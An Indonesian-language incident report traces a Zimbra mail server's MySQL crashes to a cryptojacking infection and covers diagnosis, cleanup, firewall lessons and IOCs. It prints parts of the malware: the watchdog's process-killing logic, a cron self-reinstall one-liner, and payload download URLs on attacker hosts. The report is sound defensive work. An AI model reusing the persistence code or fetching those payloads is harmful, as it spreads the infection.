Catatan Insiden: Dari “MySQL Zimbra Gagal Start” ke Cryptojacking
Sistem: Zimbra 10.1.16 FOSS (build maldua), Ubuntu 20.04, VM Proxmox Periode: 25 Agustus 2026 – 1 September 2026 Status akhir: Terselesaikan (7 hari tanpa reinfeksi)
Ringkasan Eksekutif
Diagnosis dimulai dari gejala MySQL Zimbra yang gagal start berulang. Setelah beberapa hipotesis yang keliru, ditemukan bahwa mysqld dibunuh (SIGKILL) oleh watchdog milik malware cryptomining yang berjalan sebagai user zimbra.
Malware menargetkan proses “miner pesaing” dengan pola yang secara tidak sengaja juga menjaring mysqld. Butuh tiga siklus pembersihan sebelum berhasil, karena setiap kali ada jalur persistensi yang terlewat.
Yang menyelesaikan: kombinasi penutupan port 7071 dari publik, pembersihan persistensi cron secara tuntas, dan upgrade Zimbra 10.1.16 → 10.1.20.
Bagian 1 — Gejala Awal
Keluhan
zimbra@mail:~$ zmcontrol start
Host mail.x.ac.id
Starting ldap...Done.
Starting mailbox...Done.
...
Starting zimbraAdmin webapp...Failed.
Starting zimlet webapp...Failed.
zimbra@mail:~$ zmmysqlstatus start
ERROR 2002 (HY000): Can't connect to local MySQL server through socket
'/opt/zimbra/data/tmp/mysql/mysql.sock' (111 "Connection refused")
Log MySQL
root@mail:~# tail -n 100 /opt/zimbra/log/mysql_error.log
Pola yang muncul:
260825 01:38:54 mysqld_safe Number of processes running now: 0
260825 01:38:54 mysqld_safe mysqld restarted
2026-08-25 1:38:58 [Note] /opt/zimbra/common/sbin/mysqld: ready for connections.
260825 01:39:21 mysqld_safe Number of processes running now: 0
...
2026-08-25 7:20:52 [Note] InnoDB: The log sequence number 7690465554 in ibdata file
do not match the log sequence number 7721837427 in the ib_logfiles!
Poin kunci: mysqld berhasil sampai ready for connections, lalu mati 1–47 detik kemudian tanpa satu baris error pun. Tidak ada assertion failure, tidak ada stack trace InnoDB.
Bagian 2 — Hipotesis yang Salah
Bagian ini sengaja disertakan karena proses eliminasinya yang mengarahkan ke temuan sebenarnya.
Hipotesis 1: Storage tidak persist / filesystem read-only
Alasan: LSN di ibdata mundur ke nilai 11 hari sebelumnya. LSN tidak mungkin mundur kalau write benar-benar mendarat di disk.
mount | grep -E ' / | /opt'
touch /opt/zimbra/db/data/.writetest && echo OK || echo GAGAL-TULIS
df -h /opt/zimbra
df -i /opt/zimbra
dmesg -T | grep -iE 'oom|killed process|I/O error|EXT4-fs|remount'
Output:
/dev/sda2 on / type ext4 (rw,relatime)
OK
/dev/sda2 393G 29G 345G 8% /
/dev/sda2 26214400 235929 25978471 1% /
[Mon Jan 19 10:27:13 2026] EXT4-fs (sda2): mounted filesystem with ordered data mode.
Hasil: GUGUR. Filesystem rw, 345 GB bebas, inode 1%, tidak ada I/O error sejak boot Januari.
Hipotesis 2: Korupsi InnoDB
Dijalankan manual di luar wrapper:
/opt/zimbra/common/sbin/mysqld --defaults-file=/opt/zimbra/conf/my.cnf --console
Dari terminal kedua:
/opt/zimbra/common/bin/mysql --socket=/opt/zimbra/data/tmp/mysql/mysql.sock \
-u root -p<password> -e "SELECT @@version, @@datadir; SHOW DATABASES;"
Output: 100+ database mboxgroup*, zimbra, chat — semuanya utuh. Instance manual bertahan 10+ menit.
Hasil: GUGUR. Database sehat. Tidak perlu innodb_force_recovery.
Catatan teknis:
| tail -40menahan output di buffer sampai proses selesai. Layar kosong selama 10 menit bukan berarti macet — mysqld justru sedang jalan normal. Gunakan| tee file.loguntuk output realtime.
Hipotesis 3: Timeout wrapper zmcontrol
Alasan: mysqld bertahan lama saat dijalankan manual, tapi mati cepat via zmcontrol.
Hasil: GUGUR. Log menunjukkan mysqld sudah mencapai ready for connections sebelum mati — recovery tidak gagal, prosesnya dibunuh setelah sukses.
Hipotesis 4: OOM Killer
dmesg -T | grep -iE 'oom|killed process'
free -h
Hasil: GUGUR. Tidak ada jejak OOM, swap aktif, RAM cukup.
Hipotesis 5: Log error tersembunyi di file lain
my.cnf bagian [mysqld_safe] menunjuk log-error = /opt/zimbra/log/mysqld.log, tapi file itu tidak pernah terbentuk.
Hasil: GUGUR. Skrip /opt/zimbra/bin/mysql.server memanggil mysqld_safe dengan --log-error di command line, dan argumen CLI mengalahkan my.cnf. mysql_error.log memang satu-satunya log.
Bagian 3 — Terobosan: Audit Syscall
Karena mati tanpa error adalah ciri khas SIGKILL dari luar, dipasang audit rule:
apt install -y auditd
auditctl -a always,exit -F arch=b64 -S kill -S tkill -S tgkill -F a1=9 -k mysqlkill
auditctl -a always,exit -F arch=b64 -S kill -S tkill -S tgkill -F a1=11 -k mysqlkill
Rule awal hanya
-S kill. Perlu ditambahtkill/tgkillkarena banyak proses membunuh lewat syscall tersebut.
Hasil:
ausearch -k mysqlkill -i | tail -40
type=PROCTITLE msg=audit(08/25/2026 08:25:22.561:2153) : proctitle=pkill -9 -f gt_sys_wd
type=SYSCALL ... a1=SIGKILL ... uid=zimbra ... comm=pkill exe=/usr/bin/pgrep key=mysqlkill
----
type=PROCTITLE msg=audit(08/25/2026 08:25:22.581:2154) : proctitle=pkill -9 -f ssl-compet
----
type=PROCTITLE msg=audit(08/25/2026 08:25:22.597:2155) : proctitle=pkill -9 -f mnmonitor
----
type=PROCTITLE msg=audit(08/25/2026 08:25:22.621:2156) : proctitle=pkill -9 -f cpuhide
----
type=PROCTITLE msg=audit(08/25/2026 08:25:22.633:2157) : proctitle=pkill -9 -f unicorn
gt_sys_wd, cpuhide, mnmonitor, unicorn, ssl-compet — semuanya nama cryptominer. Pola “pkill -9 semua miner pesaing” adalah rutinitas standar malware crypto-mining untuk memonopoli CPU.
Bersamaan itu, di monitoring proses muncul:
PID PPID RSS ETIMES COMM
8969 1 2418880 2098 javab
javab — bukan java. Proses ~2,3 GB RSS, PPID 1 (sudah di-orphan), nama sengaja dibuat mirip agar lolos saat melihat ps sekilas.
Bagian 4 — Pemetaan Malware
Identifikasi proses
ls -l /proc/8969/exe /proc/8969/cwd
tr '\0' ' ' < /proc/8969/cmdline; echo
ps -ef --forest | grep -B5 -A5 '20279'
/proc/8969/cwd -> /dev/shm
/proc/8969/exe -> '/dev/shm/javab (deleted)'
/dev/shm/javab
Binary sudah di-unlink tapi tetap jalan dari memori — teknik anti-forensik standar.
Rantai proses:
zimbra 20265 20259 /bin/sh /dev/shm/idle
zimbra 20266 1 sh -c "/dev/shm/.rguard"
zimbra 20279 20266 /bin/sh /dev/shm/.rguard
Koneksi C2
ss -tunap | grep -E '8969|20279'
tcp ESTAB 0 0 144.73.212.71:58686 15.235.234.128:8080 users:(("javab",pid=8969,fd=13))
Persistensi
crontab -u zimbra -l | tail -3
# ZIMBRAEND -- DO NOT EDIT ANYTHING BETWEEN THIS LINE AND ZIMBRASTART
* * * * * /dev/shm/.khp
Ditaruh di luar blok ZIMBRASTART/ZIMBRAEND supaya tidak terhapus saat Zimbra menulis ulang crontab-nya.
Komponen
| File | Fungsi |
|---|---|
/dev/shm/javab | Miner, 5,5–8,6 MB, konek ke 15.235.234.128:8080 |
/dev/shm/.rguard | Watchdog — loop tiap 0,1 detik, pkill -9 miner pesaing |
/dev/shm/idle | Loop pendukung |
/dev/shm/.khp | Loader — respawn tiap menit via cron |
/dev/shm/.log_*.gz | Cache payload (gzip dari binary ELF) |
Kenapa mysqld ikut terbunuh
Potongan .rguard:
# kill same-UID procs whose exe or cwd file is deleted (rival miner hiding)
case "$_exe|$_cwd" in
*deleted*|/dev/shm/*|/tmp/*|/var/tmp/*|/var/lib/*) ;;
*) case "$_c" in
*/dev/shm/*|*/tmp/*|*/var/tmp/*|*/var/lib/*|\[*\]|*miner*|*rig*|*xmr*) ;;
*) continue ;;
esac ;;
esac
case "$_c" in
*javab*|*ksmd*|*idle*|*.khp*|*.rguard*|*self*|*ksmdr*|*krun*|*gitea*) continue ;;
esac
kill -9 "$_pid" 2>/dev/null
Pola *deleted*|/dev/shm/*|/tmp/*|... menjaring proses non-root secara agresif. mysqld Zimbra (uid zimbra, tmpdir /opt/zimbra/data/tmp) masuk kriteria.
MySQL bukan masalahnya — MySQL adalah korbannya.
Mekanisme self-heal
crontab -l 2>/dev/null | grep -F "/dev/shm/.khp" >/dev/null 2>&1 || \
{ crontab -l 2>/dev/null; echo "* * * * * /dev/shm/.khp"; } | crontab - 2>/dev/null
Dan daftar C2 untuk unduh payload berikutnya:
http://45.74.7.234/assets/img/uploads//ksmd
http://87.229.64.49/static/js/vendor//ksmd
http://45.74.7.226/m51src/public/cache/stores/redis/lang/ksmd
https://kworker.eth.link/kworker/api/ksmd
http://185.119.90.206/webchat/images/filetypes/ksmd
Bagian 5 — Vektor Masuk
Bukti kunci: environment variable
Membandingkan /proc/<pid>/environ antar proses:
Proses dari cron:
HOME=/opt/zimbra
PATH=/usr/bin:/bin
SHELL=/bin/sh
Proses pertama (javab PID 3278592, 26 Aug 01:28:16):
zimbra_ldap_userdn=uid=zimbra,cn=admins,cn=zimbra
mailboxd_truststore=/opt/zimbra/common/lib/jvm/java/lib/security/cacerts
mailboxd_thread_stack_size=256k
zimbra_log4j_properties=/opt/zimbra/conf/log4j.properties
Itu environment localconfig Zimbra — hanya diwariskan oleh proses yang di-spawn dari mailboxd (JVM). Cron tidak punya variabel itu.
Kesimpulan: RCE lewat aplikasi Zimbra, bukan SSH, bukan cron, bukan NRPE/Zabbix.
Kampanye eksploitasi
grep '26/Aug/2026:0[01]:' /opt/zimbra/log/access_log.2026-08-26 | grep -vE '127.0.0.1|192.168'
213.176.26.42 - - "POST /service/admin/soap/ HTTP/1.1" 500
213.176.26.34 - - "POST /service/admin/soap/ HTTP/1.1" 500
213.176.26.72 - - "POST /service/admin/soap/ HTTP/1.1" 500
213.176.26.153 - - "POST /service/admin/soap/ HTTP/1.1" 500
... (18 IP berbeda dari blok 213.176.26.0/24)
80.94.95.242 - - "POST /service/admin/soap/ HTTP/1.1" 500
Verifikasi jalur — IP tersebut tidak ada di log nginx:
zgrep -c '213.176' /opt/zimbra/log/nginx.access.log*
/opt/zimbra/log/nginx.access.log:0
/opt/zimbra/log/nginx.access.log.1:0
... semuanya 0
Artinya mereka memukul langsung ke port 7071, tidak lewat nginx proxy di 443.
Yang tidak terbukti
- Webshell JSP:
find /opt/zimbra/jetty*/webapps -name '*.jsp' -newermt '2026-06-01'→ kosong - SSH:
PermitRootLogin prohibit-password(default OpenSSH 8.2),lasthanya menunjukkan IP pengelola - SNMP/swatchdog: skrip
.swatchdog_script.*semuanya boilerplate Perl asli, 2982 byte identik - Scanner 194.233.91.189: 1132 POST tapi semua 404, payload generik non-Zimbra
Request pemicu eksekusi pada 01:28:16 tidak pernah teridentifikasi pasti.
Bagian 6 — Kesalahan Firewall yang Perlu Dihindari
Tiga kali rule iptables memutus operasional Zimbra. Zimbra sangat banyak berkomunikasi dengan dirinya sendiri.
Kesalahan 1: blokir port 8080
# JANGAN
iptables -I OUTPUT -m owner --uid-owner zimbra -p tcp --dport 8080 -j DROP
Akibat: HTTP ERROR 504 — Cannot connect to the ZCS upstream server
Nginx Zimbra meneruskan request ke mailboxd di port 8080, dan nginx berjalan sebagai user zimbra.
Kesalahan 2: blokir outbound 80/443 untuk user zimbra
# JANGAN tanpa pengecualian lokal
iptables -A OUTPUT -m owner --uid-owner zimbra -p tcp -m multiport --dports 80,443 -j DROP
Akibat: webmail dan admin console mati. Komponen Zimbra (nginx-lookup, zclient, zmprov) berbicara ke server sendiri lewat 443.
Kesalahan 3: blokir 7071 tanpa exception loopback
# JANGAN
iptables -I INPUT -p tcp --dport 7071 ! -s 192.168.0.0/16 -j DROP
Akibat:
zimbra@mail:~$ zmprov gcf zimbraReverseProxyAdminEnabled
ERROR: zclient.IO_ERROR (invoke Connect timed out, server: localhost)
zmprov menghubungi localhost:7071, dan 127.0.0.1 tidak termasuk 192.168.0.0/16.
Pola yang benar
Selalu ACCEPT loopback dan subnet server sendiri lebih dulu:
iptables -I INPUT 1 -i lo -j ACCEPT
iptables -I INPUT 2 -s 127.0.0.0/8 -p tcp --dport 7071 -j ACCEPT
iptables -I INPUT 3 -s <SUBNET_SERVER>/24 -p tcp --dport 7071 -j ACCEPT
iptables -I INPUT 4 -p tcp --dport 7071 ! -s 192.168.0.0/16 -j DROP
Verifikasi dengan -v supaya kolom interface terlihat:
iptables -L INPUT -v --line-numbers | head -6
num pkts bytes target prot opt in out source destination
1 3950 2392K ACCEPT all -- lo any anywhere anywhere
2 0 0 ACCEPT tcp -- any any 127.0.0.0/8 anywhere tcp dpt:7071
3 22 2772 ACCEPT tcp -- any any <SUBNET>/24 anywhere tcp dpt:7071
4 418 24392 DROP tcp -- any any !192.168.0.0/16 anywhere tcp dpt:7071
Lebih bersih lagi: blokir di router/firewall eksternal, bukan di host. Router hanya melihat trafik yang benar-benar dari luar.
Bagian 7 — Kenapa Pembersihan Gagal Dua Kali
| Siklus | Yang dilakukan | Yang terlewat | Hasil |
|---|---|---|---|
| 1 (25 Ags) | Kill proses, hapus file, hapus cron | Vektor masuk masih terbuka | Kembali dalam ~12 jam |
| 2 (26 Ags pagi) | Kill proses, blokir IP C2 | Cron ter-comment, bukan terhapus | Respawn dalam menit |
| 3 (26 Ags siang) | Tutup 7071 + cron tuntas + upgrade | — | Bersih 7 hari |
Jebakan: comment tidak cukup
crontab -l | grep -F "/dev/shm/.khp" >/dev/null || { ... }
grep -F mencocokkan substring di mana saja — termasuk di baris yang sudah di-comment. Skrip mengira entry masih ada dan tidak menambah ulang. Tapi kalau nanti dibersihkan sepenuhnya tanpa menutup vektor, ia akan kembali.
Hapus barisnya, jangan di-comment:
crontab -u zimbra -l | grep -v '/dev/shm/.khp' | crontab -u zimbra -
crontab -u zimbra -l | grep -c shm # harus 0
Bagian 8 — Langkah yang Terbukti Menyelesaikan
1. Pengumpulan bukti (sebelum menyentuh apa pun)
mkdir -p /root/ioc && cd /root/ioc
for p in $(pgrep -f 'javab|ksmd|idle'); do
echo "=== PID $p"
ps -o pid,ppid,user,lstart,cmd -p $p
pstree -sp $p
ls -l /proc/$p/exe /proc/$p/cwd
tr '\0' '\n' < /proc/$p/environ | head -20
done | tee proses.txt
ps -efH > pstree-full.txt
ss -tunap > koneksi.txt
cp /proc/$(pgrep -f javab | head -1)/exe ./javab.bin
cp /dev/shm/.rguard ./rguard.sh
cp /dev/shm/.khp ./khp.sh
sha256sum *
Snapshot VM Proxmox juga diambil sebagai arsip insiden.
2. Blokir C2
for ip in 45.74.7.234 87.229.64.49 45.74.7.226 185.119.90.206 15.235.234.128; do
iptables -I OUTPUT -d $ip -j DROP
iptables -I INPUT -s $ip -j DROP
done
echo "0.0.0.0 kworker.eth.link" >> /etc/hosts
3. Tutup vektor masuk
iptables -I INPUT 1 -i lo -j ACCEPT
iptables -I INPUT 2 -s 127.0.0.0/8 -p tcp --dport 7071 -j ACCEPT
iptables -I INPUT 3 -s <SUBNET_SERVER>/24 -p tcp --dport 7071 -j ACCEPT
iptables -I INPUT 4 -p tcp --dport 7071 ! -s 192.168.0.0/16 -j DROP
iptables -I INPUT -s 213.176.24.0/22 -j DROP
4. Bunuh proses berurutan (watchdog dulu)
kill -9 <PID_rguard_parent> <PID_rguard>
sleep 1
kill -9 <PID_idle...>
kill -9 <PID_javab>
pkill -9 -u zimbra -f '/dev/shm'
5. Hapus persistensi
rm -f /dev/shm/* /dev/shm/.[!.]*
crontab -u zimbra -l | grep -v '/dev/shm' | crontab -u zimbra -
crontab -u root -l | grep -v '/dev/shm' | crontab -u root -
# verifikasi
ls -la /dev/shm/
crontab -u zimbra -l | grep -c shm
crontab -u root -l | grep -c shm
ps -ef | grep -E '[j]avab|[d]ev/shm'
ls -la /etc/systemd/system/javab.service /etc/init.d/javab 2>/dev/null
atq
6. Upgrade Zimbra (perbaikan sebenarnya)
# backup
su - zimbra -c "zmcontrol -v" > /root/pre-upgrade-version.txt
su - zimbra -c "zmlocalconfig -s" > /root/localconfig-backup.txt
su - zimbra -c "/opt/zimbra/libexec/zmslapcat /root/ldap-backup"
tar czf /root/zimbra-conf-backup.tgz /opt/zimbra/conf /opt/zimbra/.ssh
# upgrade
su - zimbra -c "zmcontrol stop"
cd /root && wget <URL_tarball>
sha256sum <file.tgz> # cocokkan dengan checksum resmi
tar xzf <file.tgz> && cd zcs-*
./install.sh
Hasil:
root@mail:~# su - zimbra -c "zmcontrol -v"
Release 10.1.20.GA.4200001.UBUNTU20.64 UBUNTU20_64 FOSS edition.
7. Hardening tambahan
# nonaktifkan SNMP (tidak terpakai karena monitoring via Zabbix)
su - zimbra -c "zmprov ms <hostname> -zimbraServiceEnabled snmp"
su - zimbra -c "zmprov ms <hostname> -zimbraServiceInstalled snmp"
su - zimbra -c "zmlocalconfig -e snmp_notify=no"
su - zimbra -c "zmswatchctl stop"
rm -f /opt/zimbra/data/tmp/.swatchdog_script.*
iptables -I INPUT -p udp --dport 161 -j DROP
iptables -I INPUT -p udp --dport 162 -j DROP
# batasi port manajemen
iptables -I INPUT -p tcp --dport 5666 ! -s 192.168.0.0/16 -j DROP # NRPE
iptables -I INPUT -p tcp --dport 10050 ! -s 192.168.0.0/16 -j DROP # Zabbix agent
# reset kredensial
su - zimbra -c "zmprov sp admin@<domain> '<PASSWORD_BARU>'"
# simpan rule (SETELAH webmail dipastikan normal)
apt install -y iptables-persistent
netfilter-persistent save
8. Monitoring berkelanjutan
/root/watch-shm.sh, dijalankan tiap 5 menit via cron:
#!/bin/bash
[ -f /root/.secwatch.env ] && . /root/.secwatch.env
STATE="/var/lib/secwatch.state"
FINDINGS=""
add() { FINDINGS="${FINDINGS}
• $1"; }
SHM=$(ls -A /dev/shm 2>/dev/null | grep -vE '^(pulse-|PostgreSQL\.|sem\.)' | tr '\n' ' ')
[ -n "$SHM" ] && add "File di /dev/shm: $SHM"
for u in root zimbra; do
crontab -u "$u" -l 2>/dev/null | grep -qE '/dev/shm|/tmp/|\.khp|\.rguard' \
&& add "Cron $u tersisipi entry mencurigakan"
done
DEL=$(ls -l /proc/*/exe 2>/dev/null | grep -c 'deleted')
[ "$DEL" -gt 0 ] && add "Ada $DEL proses dengan binary terhapus"
TMPX=$(find /tmp /var/tmp /dev/shm -maxdepth 2 -type f -executable 2>/dev/null | head -5 | tr '\n' ' ')
[ -n "$TMPX" ] && add "Executable di temp: $TMPX"
CPU=$(ps -eo user,pcpu,comm --sort=-pcpu --no-headers 2>/dev/null \
| awk '$1!="root" && $2>80 {print $1"/"$3"("$2"%)"}' | head -3 | tr '\n' ' ')
[ -n "$CPU" ] && add "CPU tinggi: $CPU"
if [ -n "$FINDINGS" ]; then
HASH=$(echo "$FINDINGS" | md5sum | cut -d' ' -f1)
LAST_HASH=$(cut -d: -f1 < "$STATE" 2>/dev/null)
logger -t SECWATCH "ALERT:$FINDINGS"
if [ "$HASH" != "$LAST_HASH" ] && [ -n "$TG_TOKEN" ]; then
curl -s --max-time 15 -d "chat_id=${TG_CHAT}" \
--data-urlencode "text=SECWATCH ALERT $(hostname)
${FINDINGS}" \
"https://api.telegram.org/bot${TG_TOKEN}/sendMessage" >/dev/null
echo "${HASH}:$(date +%s)" > "$STATE"
fi
else
rm -f "$STATE"
fi
Dedup via state file penting. Tanpa itu, satu file di
/dev/shmmenghasilkan 288 notifikasi per hari dan alert jadi diabaikan.
Bagian 9 — Verifikasi
root@mail:~# crontab -u zimbra -l | grep -c shm
0
root@mail:~# ls -la /dev/shm/
total 0
drwxrwxrwt 2 root root 40 Aug 26 14:18 .
drwxr-xr-x 19 root root 4020 Aug 25 07:52 ..
root@mail:~# su - zimbra -c "zmcontrol -v"
Release 10.1.20.GA.4200001.UBUNTU20.64 UBUNTU20_64 FOSS edition.
Timestamp file swatchdog yang sah menunjukkan operasi normal berlanjut tanpa gangguan: Aug 27, 28, 29, 30, 31, Sep 1.
7 hari tanpa reinfeksi.
Pelajaran Teknis
Diagnosis
- Proses mati tanpa baris error apa pun di log adalah ciri SIGKILL dari luar. MariaDB selalu mencetak stack trace untuk SIGSEGV/SIGABRT.
auditctldengan filter syscallkill/tkill/tgkillmenyebut nama proses pengirim sinyal secara eksplisit — mengubah tebakan jadi bukti./proc/<pid>/environmengungkap parent yang sebenarnya. Environment localconfig Zimbra pada proses malware membuktikan asalnya dari JVM mailboxd.- LSN mismatch InnoDB adalah gejala, bukan penyebab. Ia muncul setiap kali proses mati sebelum sempat flush.
| tail -Nmenahan output sampai proses selesai. Gunakan| teeuntuk realtime.greptidak membaca.gz— gunakanzgrep.- Zona waktu berbeda antar log Zimbra:
nginx.access.logpakai +0700 (WIB),access_logmailboxd pakai UTC,mailbox.logpakai WIB. Wajib dikonversi saat korelasi.
Firewall pada Zimbra
- Selalu ACCEPT
lo,127.0.0.0/8, dan subnet server sendiri sebelum rule DROP. - Zimbra berbicara ke dirinya sendiri lewat loopback maupun IP publiknya (port 443, 8080, 7071, 389).
iptables -Ltanpa-vmenyembunyikan kolom interface — rule-i loterlihat seperti “ACCEPT semua”.- Blokir di router lebih aman daripada di host: router hanya melihat trafik dari luar.
Incident response
- Kumpulkan bukti sebelum membunuh proses. Binary yang di-
unlinkmasih bisa disalin dari/proc/<pid>/exeselama prosesnya hidup. - Bunuh dari luar ke dalam: watchdog dulu, baru anak-anaknya.
- Hapus entry cron, jangan di-comment.
- Pembersihan tanpa menutup vektor masuk akan gagal. Terbukti dua kali.
- Firewall menutup pintu yang diketahui; update menutup lubangnya.
Timeline
| Tanggal | Kejadian |
|---|---|
| 25 Ags 01:38 | mysqld pertama kali mati mendadak |
| 25 Ags 07:20–08:00 | Diagnosis storage, InnoDB, OOM — semua gugur |
| 25 Ags 08:25 | Audit rule menangkap pkill -9 dari user zimbra |
| 25 Ags 08:30 | javab teridentifikasi sebagai cryptominer |
| 25 Ags 09:00 | Pembersihan siklus 1 |
| 26 Ags 01:28 | Reinfeksi — javab baru di-spawn dari JVM mailboxd |
| 26 Ags 13:30 | Pembersihan siklus 2 (gagal, cron ter-comment) |
| 26 Ags 14:18 | Pembersihan siklus 3 + tutup 7071 |
| 26 Ags | Upgrade 10.1.16 → 10.1.20 |
| 27 Ags – 1 Sep | Bersih |
Referensi
- Maldua Zimbra FOSS builds:
https://maldua.github.io/zimbra-foss/downloads/ - Zimbra 10.1.20 release notes:
https://wiki.zimbra.com/wiki/Zimbra_Releases/10.1.20
IOC (Indicators of Compromise)
File
/dev/shm/javab (miner, ELF x86-64)
/dev/shm/.rguard (watchdog, /bin/sh)
/dev/shm/.khp (loader, /bin/sh)
/dev/shm/idle (loop pendukung)
/dev/shm/.khp_ts (throttle timestamp)
/dev/shm/.log_*.gz (cache payload, gzip dari ELF)
Network
15.235.234.128:8080 (pool/C2)
45.74.7.234 (payload host)
45.74.7.226 (payload host)
87.229.64.49 (payload host)
185.119.90.206 (payload host)
kworker.eth.link (payload host)
213.176.24.0/22 (sumber eksploitasi admin SOAP)
80.94.95.242 (sumber eksploitasi admin SOAP)
Persistensi
crontab zimbra: * * * * * /dev/shm/.khp
Nama miner pesaing yang di-pkill (indikator keluarga malware)
gt_sys_wd, ssl-compet, sslmon, mnmonitor, cpuhide, unicorn,
esocket4, universal-miner, .gt_sys_health, .gt_cron_health